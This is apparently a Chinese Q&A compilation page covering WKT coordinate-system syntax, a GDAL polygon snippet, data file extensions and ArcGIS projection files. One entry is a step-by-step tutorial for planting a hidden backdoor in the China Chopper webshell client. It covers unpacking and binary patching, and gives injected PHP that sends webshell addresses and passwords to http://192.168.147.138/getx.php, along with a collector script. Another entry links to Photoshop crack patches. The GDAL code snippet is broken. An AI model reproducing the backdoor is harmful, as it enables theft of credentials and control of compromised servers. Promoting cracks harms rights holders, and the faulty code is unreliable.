① WKT是什么关于坐标系统的。谁能详细解释一下
Well-Known Text (WKT) Representation of Spatial Reference Systems:顾名思义用众所周知的文字形式来描述看见坐标参照系统,它与EPSG(2005年已经换名)的坐标文字表述模型一致。基础知识:坐标参照系有三种最常见的子类:地心坐标系(geocentric cs、GEOCCS),地理坐标系(geographic cs、GEOGCS),和投影坐标系(projected cs、PROJCS)以及相互之间的关系,可以参考《坐标系、坐标参照系、坐标变换、投影变换》。投影参数内容:Ellipsoid 、 Datum ;Projection,可以参考《地图投影为什么》。坐标系的文字描述的扩展BN范式(EBNF)定义如下:<coordinate system> = <projected cs> | <geographic cs> | <geocentric cs><projection> = PROJECTION["<name>"]<parameter> = PARAMETER["<name>", <value>]<value> = <number><datum> = DATUM["<name>", <spheroid>]<spheroid> = SPHEROID["<name>", <semi-major axis>, <inverse flattening>]<semi-major axis> = <number> NOTE: semi-major axis is measured in meters and must be > 0.<inverse flattening> = <number><prime meridian> = PRIMEM["<name>", <longitude>]<longitude> = <number><angular unit> = <unit><linear unit> = <unit><unit> = UNIT["<name>", <conversion factor>]<conversion factor> = <number>以下示例说明,参照上述参数,然后比瓢画葫芦即可自行用WKT创建坐标系。地理坐标系的格式:<geographic cs> = GEOGCS["<name>", <datum>, <prime meridian>, <angular unit>]WGS1984的地理坐标系WKT形式:GEOGCS["WGS 84", DATUM["WGS_1984", SPHEROID["WGS 84", 6378137, 298.257223563, AUTHORITY["EPSG", "7030"]], AUTHORITY["EPSG", "6326"]], PRIMEM["Greenwich", 0, AUTHORITY["EPSG", "8901"]], UNIT["degree", 0.0174532925199433, AUTHORITY["EPSG", "9122"]], AUTHORITY["EPSG", "4326"]]投影坐标系的格式:<projected cs> = PROJCS["<name>", <geographic cs>, <projection>, {<parameter>,}* <linear unit>]WGS1984地理坐标,统一横轴墨卡托(UTM)投影,中央经线117E的投影坐标系WKT形式:PROJCS["WGS 84 / UTM zone 50N", GEOGCS["WGS 84", DATUM["WGS_1984", SPHEROID["WGS 84", 6378137, 298.257223563, AUTHORITY["EPSG", "7030"]], AUTHORITY["EPSG", "6326"]], PRIMEM["Greenwich", 0, AUTHORITY["EPSG", "8901"]], UNIT["degree", 0.0174532925199433, AUTHORITY["EPSG", "9122"]], AUTHORITY["EPSG", "4326"]], PROJECTION["Transverse_Mercator"], PARAMETER["latitude_of_origin", 0], PARAMETER["central_meridian", 117], PARAMETER["scale_factor", 0.9996], PARAMETER["false_easting", 500000], PARAMETER["false_northing", 0], UNIT["metre", 1, AUTHORITY["EPSG", "9001"]], AUTHORITY["EPSG", "32650"]]地心坐标系格式相似于地理坐标系:<geocentric cs> = GEOCCS["<name>", <datum>, <prime meridian>, <linear unit>]参数中出现AUTHORITY是EPSG的玩意,在自定义坐标系时可以忽略,我会在后面详细介绍EPSG相关内容。WKT更具体的可参考OGC相关文档:如SFA、《SF for OLE/COM》等。练习:给出下属投影坐标系参数,请用WKT方式表述。投影参数:椭球体,Krasovsky_1940;基准面,北京1954;投影:兰勃特双标准纬线,25N,47N;中央经线,117E。参考答案:PROJCS["liongg", GEOGCS["GCS_Beijing_1954", DATUM["D_Beijing_1954",SPHEROID["Krasovsky_1940",6378245.0,298.3]], PRIMEM["Greenwich",0.0], UNIT["Degree",0.0174532925199433]], PROJECTION["Lambert_Conformal_Conic"], PARAMETER["False_Easting",20500000.0], PARAMETER["False_Northing",0.0], PARAMETER["Central_Meridian",0.0], PARAMETER["Standard_Parallel_1",25.0], PARAMETER["Standard_Parallel_2",47.0], PARAMETER["Scale_Factor",1.0], PARAMETER["Latitude_Of_Origin",0.0], UNIT["Meter",1.0]]有个偷懒的方法就是用商业软件譬如ArcGIS按照参数新建投影,然后在.prj文件中提取投影内容并修改。
② OGRPolygon::importFromWkt ( char ** ppszInput ) 怎么用,贴一个完整的可以运行的代码,别说啥去哪查啥的
OGRPolygon* pPolygon = new OGRPolygon;char* pszWKT = ''Polygon[[92.062841 33.642574, 91.876656 33.63, 91.874622 33.797018, 92.061145 33.798578]]'';OGRPolygon->ImportFromWkt(&pszWKT);
③ 如何给中国菜刀添加隐蔽后门
1、后门如何触发这里要先讲下菜刀的后门是如何触发的,知道如何触发后门,后面按这个思路往下看会方便些。当一句话连回目标服务器时,我们经常会在文件列表中右键查看文件,如下图当我们执行右键-编辑文件时,我们的后门就会被触发(我们要添加的就是这样的一个隐藏后门)。2、菜刀脱壳在分析菜刀前,先把菜刀的壳脱掉,使用Peid可知,菜刀是UPx壳,网上找个Upx的脱壳工具即可脱壳。3、查看数据包,分析流程(右键-编辑)本地搭建好环境后,在菜刀中右键-编辑查看某一文件,使用burpsuite进行抓包,数据如下a=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=%w8LSIpO2RpZSgpOw%3D%3D&z1=%3D%3D一共有3个参数,a url解码后为@eval (base64_decode($_POST[z0]));z0先url解码,在base64解码为@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$F=base64_decode($_POST["z1"]);[email protected]($F,"r");echo(@fread($P,filesize($F)));@fclose($P);;echo("|<-");die();Z1先url解码,在base64解码为C:\\wamp\\www\\robots.txt稍微熟悉php的人应该能看出来,这段代码就是一个读文件的php脚本,由菜刀发送到目标服务器上,然后在目标服务器上执行的。 既然代码作为字符串发送带目标服务器上,那我我们可以再字符串上添加我们想执行的代码,由菜刀一起发送过去执行。if(@$_COOKIE['f1']!=95){@setcookie('f1',95);@file_get_contents('http://192.168.147.138/getx.php?cai='.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI].'_P='.key($_POST));}如果我们将上这段代码作为字符串,发送到服务端执行,我们就能获得webshell的地址和密码。4、使用OD分析使用OD打开中国菜刀,右键搜索字符串,结果如下:定位到php读取文的字符串处,点击进去到代码处可知,程序时将其作为字符串,压入栈中作为参数被后续函数处理的,如果在这段字符串后加入我们的后门代码,就会被程序一块发送到服务端执行。5、修改菜刀程序文件由上可知,字符串的地址为0x49ba94,查看内存数据,发现其后面已经被他字符串占用(直接查看原二进制文件结果也是如此),如果我们强制在后面添加后门字符串,就会破坏远程的某些内容。因此我们需要另外找一个空闲的大空间,将后门代码放在此处。这里我们选取地址4841d0h的空间,转化为文件偏移即为841d0h。将后门字符串$F=base64_decode($_POST["z1"]);[email protected]($F,"r");echo(@fread($P,filesize($F)));@fclose($P);if(@$_COOKIE['f1']!=95){@setcookie('f1',95);@file_get_contents('http://192.168.147.138/getx.php?cai='.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI].'_P='.key($_POST));}放到文件841d0处打开010editor 将上述字符串复制到010editor中,由于程序中的字符串是双字节存放的,这里我们需要将后门代码也转化为双字节的。010ditor-工具-转换使用010editor打开菜刀程序,跳到841d0h偏移处,将转换后的字符串覆盖替换菜刀程序中相同大小的数据长度,保存文件,这样后门字符串就被我们添加到程序中了。6、使用OD修改程序代码用OD打开菜刀程序,定位到第4步中字符串入栈的代码处 push 0049bae4。0049bae4地址是修改前字符串的位置,现在我们将其改成我们添加的字符串的地质处,字符串文件偏移为841d0h,转化内存偏移为4841d0h,代码修改如下保存修改的文件即可。7、测试修改结果修改文件后,我们在看看菜刀-右键编辑,抓到数据包Z0解密后为@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$F=base64_decode($_POST["z1"]);[email protected]($F,"r");echo(@fread($P,filesize($F)));@fclose($P);if(@$_COOKIE['f1']!=95){@setcookie('f1',95);@file_get_contents('http://192.168.147.138/getx.php?cai='.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI].'_P='.key($_POST));};echo("|<-");die();可见我们的后门代码也一起被发送到服务端执行了。编写加单的getx.php接收结果,getx.php:<?php$getx = $_GET["cai"]; $file = fopen("getx.txt","a+");fwrite($file,$getx);fwrite($file,"\r\n");fclose($file);?>结果如下:8、后记通过测试可知,对于asp,aspx跟php后门的添加相似,都可以实现。Jsp木马形式不一,实现添加后门较为困难。另外,由于后门是在服务端执行的,所以不容易被发现,本地抓包是检测不到后门的;OD中右键查看后门地址也是不能直接看到的。
④ Photoshop CC破解补丁怎么用
Photoshop cs2—–Photoshop cc版本下载 http://blog.sina.com.cn/s/blog_c00bbacb0102uwx2.htmlps2-7破解工具教程让你免费永久使用http://blog.sina.com.cn/s/blog_c00bbacb0102uwkt.html
⑤ 数据文件都有哪些格式
cal-Windows 日历文件 cdx-(Compound inDeX file) FoxPro 的复合索引档 cps-Central Point 病毒校验文件 csv-Microsoft Excel 逗号分隔数值文件 dat-数据文件 db-Paradox 文件 dbc-Foxpro数据库名 dbf-Dbase,FoxBase,Foxpro,Clipper 数据库文件 dbs-dBase帮助信息文件 dbt-Foxbase数据库辅助文件 dbt-dBase类数据库备注文件 dif-VisiCale 数据文件 ,数据交换文件 dsn-Microsoft OLE DB Provider for ODB dtf-Paradox数据库文件 dwt-Macromedia Dreamweaver 模版 faff-Fast Advantage File Format flt-OpenFlight Scene description Database fpt-FoxBase,Foxpro 备注文件 frm-Foxbase报表格式数据文件 frx-Foxbase报表文件 hdx-AutoCad索引文件 hex-16进制格式文件 hpj-帮助项目文件 hpr-网页作坊的网站计划 idx-索引文件 iqy-Microsoft Excel Web Query File lbl-标签档 mem-内存变量文件 ms-Msav 病毒校验文件 ndx-Dbase 索引文件 obt-Microsoft Office 活页夹模板 paradox-Paradox Datafile Format pdv-UCDOS中UCTAB生成的表格文件 pol-数据表格文件 pot-演示表格模版 ppa-演示文稿加载宏 ppt-PowerPoint演示文稿 pps-PowerPoint演示文稿 pwz-PowerPoint向导 px-Pardox原始索引 qic-Microsoft 备份程序的备份集 qif-Quicken Interchange Format QUATTRO-Quattro Pro File Format rc-Resource Template rct-资源文件模版 res-Windows 资源文件 sav-存盘文件 set-Play List Document som-Paradox分类信息文件 slk-Microsoft Excel SLK 数据导入格式 sql-SQL数据库 sylk-CCITT Draft Reccomendations for Group 3 Faxcimile Apparatus tbk-Foxpro备注备份文件 wk1-Lotus 1-2-3 文件 wks-Lotus 1-2-3 文件 wkt-Lotus 1-2-3 文件 xlc-Microsoft Excel 图表 xld-Microsoft Excel 对话框编辑表 xlk-Microsoft Excel 备份文件 xlm-Microsoft Excel 宏表 xls xlb-Microsoft Excel 工作表 xlt-Microsoft Excel 模板 xlw-Microsoft Excel 工作区 ypl-雅马哈播放列表
⑥ arcgis210中有CGCS2000坐标系的.prj文件,把它放到arcgis9.3中可行么功能和结果是否一样
可行,功能和结果也必须是一样的。.prj文件和影像文件是一起的,而gis只是个工具,而且工具升级只会使使用更加方便。ArcGIS 9.3.1以后开始提供一种叫Layer Package的数据格式,它是以外部数据格式(sidecar file)来存储图层的符号,可以将数据和制图(cartography)或者说是符号化捆绑在一起。这样用户在浏览器端打开Layer Package的时候,可以得到数据制作者本来渲染的方式,也就可以更接近于数据制作者本身要表达的意图,从一定程度上避免了对数据的错误解释带来的麻烦。mxd存储的是一个工程文件(project),里面有很多层,lyr存储的是一个图层的信息,它们都只记录图层所在硬盘的位置或者网络上的地址,以及一些图层信息,比如如何渲染、可视比例尺之类。但是,它们是二进制编码的,如果不了解编码格式,就无法得到你要的信息。shp提供的.prj文件是用来定义图层的投影信息的,它其实是以wkt的方式存储成文本文件,任何人,哪怕不具有arcmap的任何权限都可以打开prj文件,并获取其中的信息。所以我们可以将它放到arcgis9.3中。